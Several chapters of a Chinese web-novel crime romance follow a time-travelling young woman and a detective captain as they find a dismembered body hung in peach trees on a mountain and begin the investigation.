但所有的喜欢,都是从不讨厌开始的。 身体的喜欢和厌恶,往往是最直接,最明显的。心里的喜欢可以藏住,生理的喜欢,藏也藏不住。 “既然如此,我们不如真的磨合一下。”楚隽说:“你说呢,说不定爷爷说的是对的。” 也不是……不可以。 安暖正要说话,觉得有一滴水落在脖子上。 “下雨了?” 安暖有些奇怪,抬头看了一下。 没有啊。 月光明亮,乌云都没有,哪里来的下雨? “怎么了?” “没事儿,我还以为下雨了。”安暖说:“好像有什么东西滴在我脖子上……” “给你手帕。” 楚隽也只以为是什么小虫子之类。 又一滴,落在了安暖脸上。 安暖连忙站了起来,不会有什么小鸟无耻地在天上随地不卫生吧。 她用手帕擦了擦,看了一下,然后全身都僵住了。 “楚隽。” 安暖这一声有点变了调。 只见手帕上红色的一块。 那是血。 在她脸上,擦出了一条血痕。 楚隽一看,也吓了一跳。 “你脸上破了?” 情急之下,楚隽捧住了安暖的脸。 “没,没感觉到痛啊。”安暖也有些懵,正要伸手摸一摸,被楚隽一把抓住了。 “手上脏,别碰。”楚隽说:“我看一下。” 他从口袋里抽出手电筒,打开一照。 只见安暖的脸上确实有一片被擦开的红色血迹,也能闻到血腥味道,但看不见伤口。 安暖突然反手摸向自己的脖子后面。 再伸手一看。 手上也是一片血色。 安暖猛地抬头:“是刚才落在我身上的。” 手电筒往上看去。 这是颗枝繁叶茂的大树,往上看去,郁郁葱葱,手电筒的光是有限的,几番寻找,他们在枝叶间看见,确实是挂着一个东西。 又仔细看了看。 “好像是……一只手。” 滴答…… 又有一滴血,落了下来。 刚才落在安暖脖子上,脸上的血迹,就是从这只手上落下的。 楚隽猛地搂住了安暖。 安暖没被血吓了一跳,但是被楚隽吓了一跳:“怎么了?” 楚隽说:“你别怕。” 安暖连忙扒拉他:“我不怕,先放开我,我看看这是什么情况。” 安暖虽然不是法医,但是经常出现场的技术侦查,什么场面没见过。 一只手算什么,一块一块的手,那也是见过的。 第81章 掌握全局的人 楚隽还有点担心,但是看安暖的脸色,确实不怕。 再一想,他确实多心了,安暖可是能在法医室待一个晚上的人,怎么可能怕这一点血和断肢。她的柔弱,也就是身体上的柔弱,绝对不是心理的柔弱。 楚隽这才放开手。 安暖打量了一下周边的环境。 这是一座常有游人的山,白天处处能看见人。 晚上也有人夜爬,但是就少得多了。他们从山下一路上来,也遇到了零散的几个人。 两个结伴的少年,一对小情侣。 大部分人晚上还是熬不了这个夜,就算熬得了,为了安全,也不会半夜来爬山。 要不是有楚隽这种战斗力爆表的,安暖也不会一个人来。 夜爬,最需要的就是手电筒。 不用楚隽说,安暖就已经往后退了一步,打开了手电筒。 “楚隽,我看这断肢新鲜的很,血还在滴,应该是刚离开尸体不久的,凶手应该还没走远。”安暖拦住了楚隽:“小心,保护现场,别破坏脚印。” 这一刻,楚隽只觉得心情非常复杂。 他可是刑警队长,这些年手上办的大多是刑事案件。 凶杀现场见过太多太多了。 安暖只是个天天在图书室跟周念川侃大山的新人,就算是个天才,也只是个接触了这一行只有十天不到的普通人,她竟然能有这样的意识。 保护现场。 这是一个老刑侦人员才会有的反应。 难道是安暖的父亲常和她说起这样的事情吗,所以潜移默化,才有这反应。 楚隽没说什么,上下一看这山,皱了眉头。 就算凶手在附近,现在也没有办法去搜。 现在山上只有他和安暖,凶手十分残忍,他不能丢下安暖一个人。如果凶手去而复返,安暖一个人无法应付。 可如果下山,就没有人保护现场。 但必须二选一。 现在才三点,想等到有人路过,让路过的人下山报警,这也不是一时半会儿的事情。要是运气不好,可能要等到明天早上六七点的时候,才有晨练的人上山。 那真是黄花菜都要凉了。 犹豫了短短几秒钟,楚隽果断地说。 “你等一下,我检查一下现场,把断肢取下来,我们下山。” “好。” 断肢被插在离地面五米高的树枝上,楚隽打算直接将树枝取下来,这样可以尽可能的不破坏现场。正好这段时间,可以让安暖观察一下周边。 楚隽叮嘱:“看看有没有脚印,被人为破坏的痕迹,或者留下了什么,在这里不该有的东西。” 他已经粗略地看了一下,现场没有明显的脚印和旁人留下的痕迹。 细致的检查没有时间了。 他也不知道一时怎么想的,让安暖也顺便检查一遍。 安暖看着楚隽要上树,连忙道:“你小心点,免得上面有什么机关。” “嗯。” 楚隽撸了撸袖子,正打算上树,又停下了。 安暖也在同一时间拽住了楚隽的袖子。 “等下等下。”安暖说:“我好像听见有人说话的声音,是不是有人来了。” 不是一个人的声音,是挺多人的声音。 要是这会儿来了一群爬山的人,那就太好了。 人多,凶手就不敢出现,楚隽可以下山去安排了,就不害怕留安暖一个人在这里会有危险。 那群人又近了一点,这下更清晰了。 不是别人,很熟悉。 正是向浩然的声音。 “哎,好像是向浩然他们。”安暖道:“是不是他们也上山了?” 还真的非常有这个可能。 能看见楼梯下面上来的人影了,说说笑笑的,果然是向浩然他们一行。 估计是他们走后,向浩然就去找了宋又菱。 两人一说,也睡不着了。 干脆,一起来爬山吧。 但是他们两个爬山不太好,索性将所有人都喊了起来。 睡什么睡起来嗨,走,咱们一起爬山去。 “向浩然。”楚隽立刻走了过去。 大家都挺意外,宋又菱挺高兴地走在前面:“阿隽,你们怎么在这里?” 楚隽他们可是早了半个小时出发的,按理说,他们应该追不上才对。楚隽一个人带着安暖,速度应该比他们更快才对。 众人三三两两都走了过来,然后安暖伸手一拦:“等一下,大家都别动。” 众人都愣住了。 楚隽道:“你们来得正好,都在这里守着,别爬了。这里出了案子,我要下山一趟。” 旁人一时没反应过来,但是楚隽的身份在这里,他说别的事情,可能会开玩笑。但是说案子,就绝对不会开玩笑。 楚隽一说有案子,大家都紧张起来。 已经坐下的立刻就蹦了起来。 “什么,什么,死人了?” 这一声喊,大家都吓着了。 荒郊野外的死人,怪可怕的,就算有楚隽在也怪可怕的。 “别怕,现在还不确定是不是死人。”楚隽安慰了一句不算安慰的话。 顺着楚隽的目光,众人看见了树梢上插着的人手,枝叶摇曳中,白惨惨得还滴着血。 这可就太吓人了。 胆子大的还能撑,胆子小的就开始有点抖了。 宋又菱一个女孩子,哪里见过这样的场面,当下惊叫了一声,往后退了一步,要不是向浩然一把扶住,差一点摔倒。 “你们冷静点。”楚隽道:“现在需要人保护现场,不必做什么,就在山路上待着,不要往上走。我立刻下山,你们就在这里守着,等我回来。凶手可能就在附近,所以你们不要擅自行动,不要落单。如果看见有可疑的人,不要追击。” 楚隽一句话就决定了众人何去何从。 “暖暖。”楚隽说:“你……” “放心,这里我安排。”安暖说:“你让他们别过来就行,我会保护现场的。” 楚隽只纠结了短短的一秒钟,就立刻点头应了好。 虽然把现场交给安暖是没有办法的办法,但这里的旁人,更不靠谱。 楚隽匆匆走了。 现场除了安暖,一下子多了八个人。 再阴森可怕的地方,来了这么多活人,也就不可怕了。 为了避免他们乱跑,安暖用随身带的绳索拉了一条警戒线。 “你们就在外面待着,不要进来啊。”安暖比划了一下:“但是也不要乱走,在外面待着。” “行……那你……”向浩然有点犹豫:“你不过来吗?” “我没事儿,我检查一下。”安暖说:“对了,还有手电吗,再给我一个。” 安暖在这样阴森可怕的案件现场,有一种游刃有余的镇定。 向浩然犹豫了一下,递给她一个手电筒。 “你……”向浩然说:“你要不然也出来,你一个人在里面,不害怕吗?” “没事儿,这里一目了然,藏不了人。”安暖说:“案件现场的痕迹,越新鲜价值越高。时间久了,就不容易发现了。” 向浩然偷偷打量了一下安暖的表情。 觉得很奇怪。 她是真的不怕。 难道说,这就是楚隽对她另眼相看的原因? 第82章 质疑天才相信天才 安暖无心去给向浩然解释太多,她翻出背包里的笔记本和铅笔拿在手里,一手拿着手电筒,开始搜证。 这个现代没有手机,真的太不方便了。要不然的话,一个电话就能召唤人手。 一只从小臂断裂的断肢,手掌被戳穿,挂在一截树枝上。 以这个地方为中心,安暖观察了一下四周。 这是一条青石台阶的路,台阶的两边都是山体。 台阶上风很大,人来人往,很难留下明显的痕迹。 凶手如果留下了什么痕迹,也只能在林子里。 林子里的地面,是杂草,灌木,岩石。如果凶手刚刚踩过,就一定有痕迹,草叶树叶会被压倒,需要一定的时间才能恢复。 安暖在找这个痕迹。 这个痕迹可以看出凶手是从哪里来的。 可以找到凶手的脚印。 从脚印,可以推断出凶手大致的身高,体重。 可以看出凶手的路线,通过路线,能够推测出凶手对这一片的熟悉程度。从而进一步推测凶手的身份。 一个优秀的刑侦人员,可以发现任何不属于这里的蛛丝马迹,从这些蛛丝马迹,还原真相。 向浩然等人,在台阶上坐成一排。 他们怎么都想不到,今天的夜爬,会爬出这个结果。 楚隽安排他们留下,他们心里也有数。 这是要保护现场呢。 虽然他们都不觉得安暖能有什么本事,但既然楚隽是这样安排的,那他们也不能说什么。案子上的事情,他们是不懂的。 楚隽一个人赶时间,下山的速度和上山是完全不一样的。 不过这里偏僻,等刑警和法医都到了,已经是三个小时之后了。 九月份的五点钟,天色已经蒙蒙亮了。 楚隽带着人到了的时候,安暖刚做完第二轮搜检,正在整理记录下来的资料。 不止是向浩然,好几个人都站围在她身边,看她整理资料。 这真是一件尴尬的事情。 但是安暖一点办法都没有。 本来她是一手拿着本子,一手拿着笔的,然后天阴沉沉的看不见,还要举着手电,十分麻烦。 写了两个字,安暖觉得太麻烦了,一看边上坐着一群无所事事的人,立刻决定找人帮忙。 只是举个手电筒,找谁都行。 安暖就找了个刚才在吃饭的时候,多聊了几句的人。 那人一听,这有什么问题,当下就过来帮她举了手电筒。 其他人还没见过这样的场面,也就围了过来。 安暖只好硬着头皮,继续写。 有人说:“小安,你真的只上了小学五年级吗?” “是啊。”安暖随口应着:“那时候小,不知道上学的重要性,每天都在混日子。” “可看你的字,写的很好啊。” “好吗,一般般吧。” 安暖的字谈不上特别好,但是也不差,至少不丑。 关键是下笔非常流畅,每一个字,她都知道怎么写,一笔一划一点都不犹豫,不用多想。 甚至还有缩写,甚至还有英文标识。 也难怪周围的人看着不对劲。 安暖心里有数,她知道这是早晚的事情,除非她藏拙,把自己伪装成一个傻子。 但这不可能,她不可能用好几年的时间去伪装。 反正也查不出什么不妥的地方,就让众人惊艳一下吧。 “其实我一直有在自学。”安暖解释:“我父亲是警察,我有邻居也是大学生,所以我跟着学了不少。英语我也会一些,不过口语不行,大多是跟刑侦相关的专业用语。” 勉强解释,但很勉强。 不过安暖不在乎。 楚隽带人上来的时候,安暖便将记录交了过去。 “楚队,这是我刚才在这一片的搜证,你看看。” 楚隽接过本子没着急看,先安排人手。 大家都是做惯了这些事情的,井井有条。 安暖看见众人往里走,喊了一声:“我在树下东北方向五米的地方发现了嫌疑人的脚印,已经在上面做了记号。” 董紫莺也来了,拎着工具箱走进去。 路过安暖的时候,有些掩饰地看了她一眼。 这一眼有些欲盖弥彰。 好像是想逃避,又好像是想当什么事情都没有发生。 安暖也回了一眼,平淡无波。 幸亏很快就忙了起来,无人注意这种奇怪的气氛。 楚隽安排完之后,这才抽出时间看安暖交给他的本子。 这一看,吓了一跳。 “这是……你在现场找出来的?” “是啊,还有我的一些推测。”安暖说:“不过断肢没有从树枝上取下来,太高了,我看不见。” 楚隽一点一点的看完,点了点头:“你……真的只跟着周叔学了十天?” “没有十天。”安暖纠正:“是八天,而且,不是每天都在。” “八天,你能学会这么多?”楚隽不信:“我认识很多刑侦人员,包括我自己,也算是一个。就算是八个月,也不可能有你这样的熟练精确。” 安暖笑了。 她拍了拍楚隽的肩膀。 “质疑天才,相信天才,羡慕天才。我早就跟你说过,我有天分,不是一般的天分。” 楚隽无言以对。 事情就是这么个事情,他早就怀疑过安暖,安暖也早就解释过。 虽然他不信,但也说不出什么。 很快,刑侦人员将现场又搜了一遍,两边的记录结果对在一起。 断肢从树枝上被取了下来,董紫莺检查了一下。 “初步估计,断肢离开身体的时间在四个小时左右。现在是五点。你们发现断肢的时间是两点,这个断肢离开身体的时间,是凌晨一点。” 正是夜里最黑暗的时候,那个时候的山路上,几乎没有人。 “从断肢看,这是一个女性的手。从小臂处被砍下,年纪在二十岁左右,手上皮肤比较细腻,可见没有做过多少体力活儿,推测有良好的家庭条件。” “断肢切口处光滑,没有多重切口,凶手下手非常果断,只用了一刀,就将小臂砍了下来。” 楚隽皱眉道:“这个断肢,是从活人身上砍下的,还是从死人身上砍下的。” “活人。” 想想那场景,怎么是一个变态能够形容。 第83章 植物专家 人手够了,很多事情就好办了。 楚隽让向浩然等人尽快下山离开,凶手没有找到之前,山上是不安全的。 不是每一个凶手都会在犯案之后立刻离去,相当一部分会重返现场,混在人群中,打听案件进展的情况。 临下山的时候,宋又菱想要跟楚隽说两句话,但是看见他正在安排事情,显然没有时间也没有心情和她说那些有的没的。 也不知为何,她突然念头一动,去找安暖。 找了一会儿,才在林子里看见安暖。 安暖正蹲在地上,和两个刑侦人员说着什么。 宋又菱一时有些恍惚。 好像安暖在那里,本来就该在那里,那么严肃认真,那么合适,自然而然。和她想象出来的,一个从小地方来的,粗俗浅薄的,贪财拜金的女人毫无关系。 “又菱。”向浩然走过来。 “向哥。” 向浩然顺着宋又菱的目光看了过去。 一缕晨光照在安暖身上,像是在发光。 “你说阿隽,是真的喜欢她吗?” “我不知道。”向浩然说:“但是她和我想的,确实不一样。” 安暖面前摊开了一张地图,现在她面前的两位刑侦人员,都是本地公安局的。 他们对当地的环境非常了解,还带了一张地图。 安暖对当地的情况没有那么了解,对这山的走向也不了解,但是她了解现场和凶手。 楚隽走了过来。 三个人站了起来,将地图递给楚隽。 安暖说:“楚队,初步估计,凶手是一个当地人。” “理由。” “他对这一片山,非常的熟悉。”安暖道:“我们从在案发现场发现的脚印方向推断,凶手离开是往南面去的。那一片的路非常不好走,属于游客止步,并且有危险警示牌的地方。当时是凌晨一点,山上几乎无人,凶手不太可能是仓皇逃跑,所以,走的时候,他也是很淡定从容的。” 半夜的山里,碰见人的几率,比碰见鬼的几率还小。 安暖道:“凶手上树,将残肢挂在树上,下树,离开,没有在周边留下太多痕迹,可见冷静镇定,不会慌不择路。如果不是对路非常熟悉,游刃有余,他不会选择一条那么难走的路离开。” 楚隽点了点头。 “还有……” “什么?” 刑侦老刘说:“我们怀疑,凶手在这里挂上的左手断肢,只是一个试验。” “实验?” “对。刚才我们都没注意,但是安同志提醒了我们,这棵树其实很特别。我们找了,在这一片,只有这一棵。” 这一片山,种的是樱花树,桃花树,枫叶。到了不同的季节,各有各的美。 现在这个季节,树其实并不美,该红的没红,该开花的没开花,只是郁郁葱葱的,一片绿色。 楚隽回头看,只看着那一小片都是樱花和桃花,连在一起有好几十棵。 “不一样。”安暖说:“虽然都是桃花树,但也有诸多品种。简单地说,有的结出来的桃子好吃,有的结出来的桃子不好吃,这种类似于观赏性的品种。插着断肢的那一株,就是一种观赏性的桃树。” 在许许多多的桃树中,只有这一棵被选中了,是一种巧合吗? 安暖能说出这样的话来,楚隽有些意外,但是不太意外。 之前在警局的时候,他就听周念川说过。 有一起困扰了他多年的案子,他和朋友一直怀疑却总是差了一口气,找不到突破点。 安暖看了之后,几乎立刻看出了蹊跷。 一点非常容易被忽略的,不该出现在案发现场的苔藓,成了案件的转机。 安暖给出的解释是,她从小就非常喜欢植物,对植物有一些超过常人的见解。 所以她能在一山普通人分不清的桃树樱花树中,看出某一株的特别,好像也不奇怪。 “观察得很仔细。”楚隽夸道:“安暖,你很细心。” 细心,是一个刑侦人员必须有的素质。要不然的话,哪里来那么多蛛丝马迹。 “谢谢楚队。”安暖道:“我问了两位本地的同志,他们说,往南三里路的地方,还有一片桃林。所以我怀疑……” 安暖抬头看着楚隽,面色凝重。 楚隽立刻就懂了。 受害者,也许已经受害,也许现在还没有受害。 现在只被发现了一只手臂。 她身体的其他部分呢? 有没有可能也像是这只胳膊一样,被抛弃在其他的地方? 找到受害者,弄清楚受害者的身份,会让他们对凶手有更多的了解。 要不然的话,以目前的技术,在仅有一只手臂的情况下,想要确定死者的身份,是很困难的。 “来几个人,跟我走。”楚隽招呼一声。 安暖立刻道:“我能去吗?” 楚隽本能的想说不行。 之前让向浩然他们下山的时候,其实他是想让安暖也跟着一起下山的。 调查一旦开始,就是警方的事情了,这个调查过程是需要保密的。安暖,也是需要保密的对象之一,理应回避。 但就在他准备喊安暖的时候,一抬头,便看见安暖正在和卢瑞泽说话。 非常认真,非常严肃。 那一瞬间,他觉得如果打断她,是不应该的。 从案子发生起,所有人的努力都是同一个方向,就是为了破案。 而安暖,现在也正为了这个方向努力,万一她真的像自己说的那样呢。 她是个刑侦天才。 那自己就白白错过了一个人才,这是刑警队的损失,甚至是整个公安系统的损失。 所以这一次,当安暖问出她能不能去的时候,楚隽只是犹豫了很短暂的一下,便道:“可以,但是你跟在后面,小心一些。” 反正这个案子她也了解了这么多,何况,又不是需要避嫌的相关人员,就当是自己请来的顾问吧。警局也不是没有这个先例。 “好。” 安暖挺高兴的,连忙跟上。 山路很难走,但好在前面有人开路。 走在最前面的,是本地的刑警,家就住在后山,对这里是熟悉的不能再熟悉了。 刑警队的人跟在后面,安暖,牢牢的跟着楚隽。 第84章 桃花树下的情杀 但安暖还是高估了自己。 刚才那点山路,还是有台阶的,都爬得要死要活的,这没有路的山路,简直要命了。 深一脚,浅一脚,可能踩在石头上,可能踩在灌木上,可能踩在泥泞地里。 这个季节的山上还有虫,有蛇,幸亏人多,要不然的话,安暖可真不敢在山里这么走。 楚隽本来走在安暖前面,没一会儿之后,就特意慢了一些,落在了后面一点,和安暖并排。 “怎么样,这路能走吗?”楚隽低声道。 “行。”安暖叉了腰点头:“还可以。” 三里,放在平地上走直线那是不远的。对一个成年人来说,都不是问题。 但在山里就不一样了。 三里的直线距离,在山里绕,不知道能绕出多远去。 何况那么难走的路,每一步所消耗的比走在正常路上消耗的,要多得多。 又走出十分钟,天光大亮,已经开始有些热了。 安暖也开始喘气了。 昨天一夜未睡啊,又爬了一个多小时的山,能不累吗? “还爬得动吗?”楚隽看着安暖那模样,感觉她一点不行了。 喘着粗气,小脸煞白,汗水哗啦啦的。 “有点累。”安暖说:“还行。” “我觉得你不太行。”楚隽扶着安暖的胳膊:“来吧,别客气,我扶着你。” “……” 安暖默许了。 幸亏楚隽没说背着她,当然,这个道路状况也不太允许,不然的话,抱着她也是可以接受的。 终于,看见了三里外的桃花林。 这个地方和刚才不一样。 刚才是在路边,是一个晚上虽然没人,但白天人来人往的地方。 这个地方就不一样了。 这一片桃花林虽然美,但是因为在山的深处,没有方便的道路,所以别说是来这里,就是知道的人都少。 一片大山,人来人往的地方,也就是开发出来的,有便捷道路可走的地方。 大部分的地方是只有本地人才偶尔会路过的,游客走不到这里。 “就是这里了。”带路的人终于停了下来:“你们看……” 下一秒,他的声音好像是被咽回去了一样,或者像是被人掐住了嗓子,剩下的话,都说不出口了。 安暖也走了过去,抬头看向面前的一片桃林。 风吹过树叶,发出沙沙的声音。 一阵血腥味,在空气中弥漫。 被风吹往四面八方。 这不是桃花林,这是人间地狱。 安暖抬头,只见在高高低低的桃花树枝上,挂着大大小小的尸块。 尸块上没有衣服,都是裸露的。 有些部位能够清晰的辨认,比如大腿,手臂,胳膊。有些部位,不能清晰的辨认,只能看出是一些器官,一些肉,或者一些脏器,甚至能看见纠结在一起的肠子。 这些尸块都是血淋淋的挂上去的,在树枝上,地上,能看见明显的血迹。不过吹了几个小时,现在已经吹干了。 就算是见多识广的刑侦人员,也少见这么惨烈的现场。 有几个经验不是那么丰富的,当场就吐了。就算是身经百战的老刑警,胃里翻滚着也不是很舒服。 安暖也觉得有点不舒服。 昨晚上没怎么吃,早上也没顾上吃,又一宿没睡,还走了一段山路。 身体的不舒服,加重了精神的不舒服。 就像是人在身体不舒服的时候,比如没睡好,饿了或者病了的时候,格外容易晕车一样。这也是一样。 安暖在怀里摸了摸,摸出一盒糖来,自己吃了一颗,给大家也分了分。 她目前还没有找到特别清凉的薄荷糖,要不然的话,吃了会更舒服一些。 楚隽呼出口气:“干活儿吧。” 众人忙活起来。 将一个人的尸体分成若干块,将每一块,挂在一棵树上,凶手避免不了在林子里来回的走动。无论他再小心,也一定会留下各种痕迹。 很快,就在桃花林的中间,找到了分尸的地方。 地上全是血迹,还有一些碎肉。 “安同志,你过来一下。” 安暖快步走了过去。 这是一块相对平整的地面,地面上有挺多血迹,还有被割碎的草叶。 “这就是凶手分尸的地方了。”老刘说:“血迹,碎肉,皮肤组织……凶手就在这个地方,将死者分成一块一块的。” 虽然看不见,但是可以想象。 法医只跟来一个董紫莺,要是靠她一个人收拾这些残肢,恐怕一天都干不完,只能大家一起动手。 安暖也不闲着,来的都是打工人,谁也别想偷懒。 董紫莺有点分神,她正在收拾一块大腿,眼角余光里,看着安暖也在忙活。 安暖面前是一副脏器,她离的远,看不清是什么部位,但不管是什么部位,那也不是一般人能受得了的心理刺激。 在荒林里面对这一切,和在法医室的解剖台上看见这一切,那可是完全的两种感觉。 安暖怎么做到这么淡定的? 大家一起动手,一个小时候,所有的尸块都清点出来了。 “少了最重要的一块。”楚隽看着汇总过来的报告:“受害者的尸体已经大致拼凑出来了,身体和四肢,内脏都是完整的。但是没有头颅。” 很麻烦。 没有头颅,就很难确定死者身份。 安暖跟着一阵忙活,一直到中午,才将现场全部勘察清楚,准备下山。 不知何时,楚隽到了身边。 “感觉怎么样?” “啊?”安暖被问了一声,转头看他:“什么怎么样?” “对凶手和作案动机,有什么想法?” 安暖道:“情杀。” “你也觉得是情杀?” “是。”安暖道:“这山上的树何其之多,可他选的,偏偏是桃树。而且是不结桃子的观赏性桃树,这种树在花期和其他的树区别很大,就是花特别漂亮。而桃花,代表的是男女之情。” “你想的和我差不多。”楚隽道:“情杀,而且和这一片桃花林有关的情杀。凶手和死者可能曾经在桃花树下定情,一朝反目,便将情人杀死在这个地方。” 这种爱很可怕,但这种人,是真的有。 第85章 一场盛大的加班 情杀,几乎占了谋杀案的半壁江山,真是一点都不稀奇。 有些人,爱的时候要死要活,爱成了恨,依然要死要活。 楚隽沉吟了一下:“我有一个方向。” “什么。” “这个凶手,对香山环境很了解,是附近的人。我觉得他的职业或者身份,可以往这方面考虑,他可能是学植物的,或者,家里是做苗木相关生意的。” 安暖道:“你的意思,第一处现场,凶手从一片各种树中,挑中了桃花树放置尸体?” “对。”楚隽道:“有可能只是意外,但我觉得更多的可能是特意挑选的。要不然没有那么巧合……卢瑞泽你去安排一下走访周边,重点第一轮筛查,有植物相关经验的,昨天晚上没有明确不在场证据的男性。” “好。” 排场走访,是一场盛大的加班。 卢瑞泽一边应着,一边在小本本上记着。 “等一下等一下。”安暖突然叫住他:“卢哥,我还有个想法。” 卢瑞泽咬着笔盖子抬头:“嗯嗯嗯?” “排查的时候,也要问一下这些人的女朋友,前女友,妻子,爱慕对象等等有暧昧关系的女人。”安暖说:“既然这疑似情杀,这片桃花林,就很有可能是两个人谈恋爱的时候来的地方。所以能认出这棵品种不同的树的,未必是凶手,也有可能是死者。” “好的,知道了。”卢瑞泽高兴地夸奖:“小安就是心细,想得真周到。” 收拾好了下山,已经是将近两点。 所有人都还饿着肚子。 警察也是要吃饭的,楚隽就近在山下找了饭店,让大家吃饭。 他们出来办案,每个人每顿餐补多少,都是有标准的。不能说吃不饱吃不好,但是好的也有限,肯定不能山珍海味,大鱼大肉。 香山是旅游区,这里的饮食标准是对标游人的,还是比较高的规格。 但是楚隽一挥手:“大家吃饱吃好,我请客,不过这是工作餐,要抓紧时间。等案子破了,再请你们吃好的,慢慢吃。” 众人欢呼,谁不知道楚队有钱呢?虽然没人想着去占他什么便宜,但是请吃顿饭还是很开心的。 吃完饭之后,法医带尸体回警局,进行进一步的详细尸检。 其他的人,开始周边的排查。 这是个漫长的排查过程。 还有搜山。 不用搜全山,楚隽和几位老刑警商量了一下,将香山所有的桃花林都搜一遍。 目前,尸体还有非常重要的一块没有找到,就是头颅。 现在已经发现的,尸块被分在了两片区域,谁也不能确定,是不是还有第三块区域。 万一凶手曾经和死者来往的时候,还有其他常来往的地方呢? 那这个暂时没有找到的头颅,可能就在第三片区域。 山那么大,这个地方可能很隐蔽,因为谈恋爱的人,就喜欢往没人的地方跑。一般都是哪儿没人往哪儿钻,哪儿僻静往哪儿钻。 就算是住在附近的人,也很少有人能将山上的一草一木记在心里。一般也只能知道较大区域的桃花林,如果分散在个别地方,有那么一棵两株,三五株的,很难知道。 他们如今要在这么大的身上,找出这样的一个地点,和大海捞针没有区别。 但是没办法,既然针有可能在海里,只能硬着头皮捞,熬瞎了眼睛捞。 楚隽安排完工作,转头问安暖:“你是跟法医先回局里,还是跟我去走访排查?” 安暖突然觉得,楚隽跟之前不一样了。 在这个案子里,楚隽对她的态度就像是对刑警队其他的人一样。 用一种平等的的态度和她商讨,甚至偶尔,还有一点请教的意思。 安暖非常喜欢这种态度。 她有那么几个瞬间,感觉自己已经融入了这个集体,成为他们中的一员。 没有孑然一身个过的人,大概很难明白这种感动。 十天之前,安暖一个人出现在这个陌生的年代。 一无所有,无亲无故,悠悠天地,只剩下自己。 她那个时候表现的再冷静,内心也是非常惶恐孤单的,完全不知何去何从。 但是今天,就在那一片大家都恶心想吐的桃花林里,面对大大小小的尸块,她有一种回到了熟悉的环境里的感觉。 好像又活过来了。 这种感觉,是楚家人对她再怎么好,也不能替代的。 安暖毫不犹豫的说:“我跟你去走访。” 她毕竟不是法医,在法医室帮忙,那只是打下手罢了,没有必要特意去。 再说,董紫莺毕竟是表白了楚隽的人,虽然大家达成共识,当做那件事情没有发生,但多少还是有一点尴尬的。 “好,那你上我的车。” 他们先划定了香山下,周边的五个村三个镇。 这些地方都是上山很容易的,村镇里的人,对香山都很熟悉。 楚隽说:“我们去这里,闻安县城,这是离这里最远的一个县城。我们的车快,去最远的地方,开车大约要五个小时。” “好。” “昨天晚上,没睡,今天又忙了大半天,累了吧。”楚隽系上安全带:“你可以在车上睡一会儿。” “行。”安暖抬了抬手。 尴尬的很,还是不习惯没有手表看时间的日子。 然后安暖敷衍的放下手。 “呵呵。”安暖说:“楚队,你也一夜没睡。这样吧,我睡两个小时,然后你喊我起来,还我开,你睡一会儿。” 楚隽说:“不用。” “用的。”安暖很认真的说:“开车一定要注意安全。酒驾,疲劳驾驶,这都是不行的。楚队,这是我和你的两条命,不能掉以轻心。” 楚隽皱了皱眉:“这样,你先睡。我现在感觉还可以,如果我觉得累了,就叫你起来。” “好。” 安暖这才放心。 她闭上眼睛,开始还昏昏沉沉的想着各种事情,大大小小的尸块在脑子里转来转去,转着转着,也不知什么时候就睡着了。 一觉睡醒,天色已经有些昏暗了。 安暖猛的惊醒。 车已经停了下来,正在某处的停车场,楚隽不在车里。 第86章 夜袭 车停在一家小商店门口,安暖下车伸了个懒腰,活动一下僵硬的身体。 车上睡觉也挺累的,不知道楚隽干什么去了。 安暖正想着,楚隽从商店里出来了。 “醒了?”楚隽说:“睡得好吗?” “你怎么没叫我?”安暖有点不好意思:“这都几点了?” “六点了,天马上要黑了。”楚隽看了下表:“我们已经到闻安县城,今天晚上要住在这里。” 楚隽指了一下,对面就是一家招待所。 “那……今晚咱们还要去走访排查吗?” 安暖有些迟。 她睡了一觉,现在精神还好,倒是可以继续加班熬夜。 可沈淮已经两天一夜没睡了,还开了一下午的车,铁打的身体也不能这么熬吧? 好在楚隽说:“今晚不去了,你睡着的这会儿,我已经和当地民警见过面了。” 安暖惊讶了。 可以啊,有效率啊。 楚隽笑了一下:“闻安县城可不是十户八户人家的小村子,你以为就靠我们俩,一家一户地去谈吗?我过来,是和这边民警对接的,真正的活儿还要靠他们来干。明天,我们和当地民警一起,走访几个重点区域。” 确实是这个流程啊,安暖觉得自己一定睡懵了,才让楚隽解释这个。 “安暖?”楚隽见安暖发呆,伸手在她面前晃了晃。 “啊。” 安暖回过神来:“对对对,那我们赶紧进旅馆吧,楚队,你要赶紧休息了。身体是革命的本钱,年轻力壮也不能这么熬着。” 两人进了招待所。 好在之前就打算在山下过夜,证件什么的都带得齐全。 住进招待所,要了两个房间。 “这里的条件要比那边差一些,凑合住吧。”楚隽说:“我确实有些困了,先去休息一会儿。你要是有什么事情,随时敲门,我会醒的。” “好。” “招待所有提供餐饮。”楚隽说:“我们中午吃得晚,这会儿可能还不饿。什么时候饿,告诉酒店,让服务生点餐就行。” 楚隽每一件事情都安排得很妥当,跟他出来,很安心。 安暖睡了一下午,进了房间之后,也不困,也不累。 翻了两个身,有点无聊,刚才下车的时候,也忘了带本书在身上,还能打发打发时间。 安暖起身走到窗边,往外看去。 天已经黑透了,乡镇上晚上还是寂静的,没有太多的娱乐场所,一眼看去只有星星点点,那是居民住宅里的灯光。 安暖闲得慌,想了想,下了楼。 她打算去车上找门书看。 不过车钥匙在楚隽的房间里。 楚隽这会儿可能已经睡了,安暖直接去了前台。 “同志你好。”安暖说:“我想要一下三零一的钥匙。” 他们订了两个房间,三零一和三零三。 前台看了一下记录:“同志,您是钥匙不见了吗?” “哦,是这样的。”安暖说:“我男朋友这会儿应该已经睡了,我想进去拿个东西,但是又不想吵着他。所以想请拿一下备用钥匙,开一下门。” 他们俩入住的时候,就是这个工作人员给办理的。 这个年代讲究得多,住招待所不但要登记,男女旅客也会问一问都是什么关系。虽然住的不是一个房间,也登记了工作等等。 工作人员还记得,楚隽登记的身份是刑警,安暖虽然无业,但是他女朋友。 所以工作人员也没有怀疑什么。 找了一下,将钥匙交给了安暖,不过叮嘱用完了就给送下来。 这个年代,人心还是淳朴的。 “谢谢。” 安暖拿着房间钥匙上了楼,轻手轻脚地打开了楚隽的房门。 这就是个普通房间,没有客厅卧室的区分,打开门就是个单间,里面一张大床。 房间的窗帘是拉上的,开了一盏夜灯,一片昏暗。 安暖秉着呼吸,蹑手蹑脚,她可不想吵醒一个两天一夜没睡,这会儿刚躺下不到一个小时的人。 说不定起床气能毁灭一切。 她特别了解这种感受。 安暖想了想,楚隽的车钥匙一般就放在裤子口袋里。 她四下一看,楚隽的长裤就在床边的椅子上随意地搭着。 嗯,没错了,应该就在口袋里。 安暖轻手轻脚地伸手往裤子口袋里摸去。 一摸没摸着。 